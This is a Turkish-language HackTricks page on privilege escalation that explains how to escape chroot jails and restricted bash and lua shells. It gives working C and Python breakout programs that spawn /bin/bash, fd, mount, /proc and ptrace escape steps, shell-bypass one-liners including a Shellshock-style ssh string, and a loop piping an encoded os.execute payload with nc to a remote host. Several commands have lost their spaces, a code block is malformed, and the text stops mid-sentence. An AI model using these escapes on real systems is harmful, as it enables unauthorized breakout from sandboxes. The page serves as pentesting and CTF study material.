Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na göz atın (https://github.com/sponsors/carlospolop)!
Hacking püf noktalarınızı paylaşarak PR'lar göndererekHackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
GTFOBins
"Shell" özelliğine sahip herhangi bir binary'i çalıştırabilir misiniz diyehttps://gtfobins.github.io/adresinde arama yapın
Chroot Kaçışları
wikipedia'dan: Chroot mekanizması, açık (root) kullanıcılar tarafından kasıtlı müdahalelere karşı korunmak amacıyla tasarlanmamıştır. Çoğu sistemde, chroot bağlamları düzgün bir şekilde yığılmaz ve yeterli ayrıcalıklara sahip chrooted programlar kırılmak için ikinci bir chroot gerçekleştirebilir.
Genellikle bu, kaçmak için chroot içinde root olmanız gerektiği anlamına gelir.
Araçchw00t aşağıdaki senaryoları kötüye kullanmak ve chroottan kaçmak için oluşturulmuştur.
Root + CWD
Eğer bir chroot içinde root iseniz, başka bir chroot oluşturarak kaçabilirsiniz. Bu, 2 chroot'un aynı anda var olamayacağı anlamına gelir (Linux'ta), bu yüzden yeni bir klasör oluşturursanız ve ardından bu yeni klasörde yeni bir chroot oluşturursanız ve siz dışında kalırsanız, artık yeni chroot'un dışında olacaksınız ve dolayısıyla FS içinde olacaksınız.
Bu genellikle chroot'un çalışma dizinini belirtilene taşımaz, bu yüzden bir chroot oluşturabilirsiniz ancak dışında kalabilirsiniz.
Genellikle bir chroot hapishanesi içinde chroot binary'sini bulamazsınız, ancak bir binary derleyip yükleyip çalıştırabilirsiniz:
C: break_chroot.c
```c #include #include #include
//gcc break_chroot.c -o break_chroot
int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
</details>
<details>
<summary>Python</summary>
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
Bu, önceki duruma benzer, ancak bu durumda saldırgan mevcut dizine bir dosya tanımlayıcısı kaydeder ve ardından yeni bir klasörde chroot oluşturur. Son olarak, chroot dışında FD'ye erişimi olduğundan, buna erişir ve kaçar.
</details>
### Root + Fork + UDS (Unix Domain Sockets)
<div data-gb-custom-block data-tag="hint" data-style='warning'>
FD, Unix Domain Sockets üzerinden iletilir, bu yüzden:
* Bir çocuk işlem oluştur (fork)
* Parent ve çocuğun iletişim kurabilmesi için UDS oluştur
* Çocuk işlemin farklı bir klasörde chroot çalıştır
* Parent işlemde, yeni çocuk işlem chroot'unun dışında olan bir klasörün FD'sini oluştur
* UDS kullanarak o FD'yi çocuk işleme ilet
* Çocuk işlem o FD'ye chdir yapar ve chroot'un dışında olduğu için hapisten kaçar
</div>
### Root + Mount
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Root cihazını (/) chroot içindeki bir dizine bağlama
* Bu dizine chroot yapma
Bu Linux'ta mümkündür
</div>
### Root + /proc
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Procfs'i chroot içindeki bir dizine bağla (henüz bağlı değilse)
* Farklı bir root/cwd girişi olan bir pid ara, örneğin: /proc/1/root
* Bu girişe chroot yap
</div>
### Root(?) + Fork
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Bir Fork (çocuk işlem) oluştur ve FS içinde daha derin bir klasöre chroot yap ve ona CD yap
* Parent işleminden, çocuk işleminin bulunduğu klasörü, çocukların chroot'unun öncesindeki bir klasöre taşı
* Bu çocuk işlem, kendisini chroot'un dışında bulacaktır
</div>
### ptrace
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Kullanıcılar zamanında kendi işlemlerini kendi işlemlerinden hata ayıklayabilirdi... ancak artık varsayılan olarak bu mümkün değil
* Yine de, mümkünse, bir işleme ptrace yapabilir ve içinde bir shellcode çalıştırabilirsiniz ([bu örneğe bakın](linux-capabilities.md#cap\_sys\_ptrace)).
</div>
## Bash Hapishaneleri
### Numaralandırma
Hapishane hakkında bilgi al:
```bash
echo $SHELL
echo $PATH
env
export
pwd
PATH Değiştirme
PATH ortam değişkenini değiştirip değiştiremediğinizi kontrol edin
echo $PATH #See the path of the executables that you can usePATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin#Try to change the pathecho/home/*#List directory
vim Kullanarak
:setshell=/bin/sh:shell
Betik oluştur
Eğer içeriği /bin/bash olan yürütülebilir bir dosya oluşturabilir misiniz kontrol edin.
red/bin/bash> w wx/path #Write /bin/bash in a writable and executable path
SSH üzerinden bash alın
Eğer ssh üzerinden erişiyorsanız, bir bash kabuğunu yürütmek için bu hileyi kullanabilirsiniz:
ssh-tuser@<IP>bash# Get directly an interactive shellsshuser@<IP>-t"bash --noprofile -i"sshuser@<IP>-t"() { :; }; sh -i "
Her seferinde önceki tek satırlığı farklı bir lua ortamında çalıştırdığınızda fonksiyonların sırası değişir. Dolayısıyla belirli bir fonksiyonu çalıştırmanız gerekiyorsa, farklı lua ortamlarını yükleyerek ve le kütüphanesinin ilk fonksiyonunu çağırarak brute force saldırısı gerçekleştirebilirsiniz:
#In this scenario you could BF the victim that is generating a new lua environment#for every interaction with the following line and when you are lucky#the char function is going to be executedfor k,chr in pairs(string) doprint(chr(0x6f,0x73,0x2e,0x65,0x78)) end#This attack from a CTF can be used to try to chain the function execute from "os" library#and "char" from string library, and the use both to execute a commandfor i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
Etkileşimli lua kabuğu alın: Eğer sınırlı bir lua kabuğu içindeyseniz, aşağıdaki komutu kullanarak yeni bir lua kabuğu alabilirsiniz (ve umarım sınırsız olur):